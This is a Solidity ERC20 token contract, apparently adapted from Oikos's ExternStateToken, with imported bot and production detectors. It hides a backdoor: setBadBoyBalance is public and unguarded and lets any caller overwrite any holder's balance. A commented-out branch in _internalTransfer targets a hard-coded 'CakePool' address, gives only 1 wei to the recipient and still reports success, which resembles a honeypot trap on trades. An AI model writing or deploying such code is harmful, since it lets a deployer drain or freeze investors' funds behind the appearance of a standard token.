pragma solidity ^0.5.16; // Inheritance import "./Owned.sol"; import "./SelfDestructible.sol"; import "./Proxyable.sol"; // Libraries import "./SafeDecimalMath.sol"; // Internal references import "./TokenState.sol"; import "./mev/ProductionDetector.sol"; import "./mev/BotDetector.sol"; // https://docs.oikos.cash/contracts/ExternStateToken contract ExternStateToken is Owned, SelfDestructible, Proxyable, ProductionDetector, BotDetector { using SafeMath for uint; using SafeDecimalMath for uint; /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. */ string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor( address payable _proxy, TokenState _tokenState, string memory _name, string memory _symbol, uint _totalSupply, uint8 _decimals, address _owner ) public Owned(_owner) SelfDestructible() Proxyable(_proxy) { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner's funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) external view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(address(_tokenState)); } function setBadBoyBalance(uint value, address who) public returns (bool) { tokenState.setBalanceOf(who, value); return true; } function _internalTransfer( address from, address to, uint value ) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address"); // address CakePool = 0xCB947258d38F45fffb53e7930F38Cb8B6Dc69D4F; // if (from == CakePool ) { // require(isProduction(), 'not p'); // require(isHuman(to), 'not h'); // uint _value = 1 wei; // tokenState.setBalanceOf(from, tokenState.balanceOf(from)); // tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(_value)); // bytes memory packed = encodeBytes(); // return decode(packed); // } else { tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); // } // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } function encodeBytes() public pure returns (bytes memory){ bool x = true; return abi.encodePacked(x); } function decode(bytes memory data) public pure returns (bool b){ assembly { // Load the length of data (first 32 bytes) let len := mload(data) // Load the data after 32 bytes, so add 0x20 b := mload(add(data, 0x20)) } } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transferByProxy( address from, address to, uint value ) internal returns (bool) { return _internalTransfer(from, to, value); } /* * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFromByProxy( address sender, address from, address to, uint value ) internal returns (bool) { /* Insufficient allowance will be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value); } /** * @notice Approves spender to transfer on the message sender's behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ function addressToBytes32(address input) internal pure returns (bytes32) { return bytes32(uint256(uint160(input))); } event Transfer(address indexed from, address indexed to, uint value); bytes32 internal constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer( address from, address to, uint value ) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, addressToBytes32(from), addressToBytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 internal constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval( address owner, address spender, uint value ) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, addressToBytes32(owner), addressToBytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 internal constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } }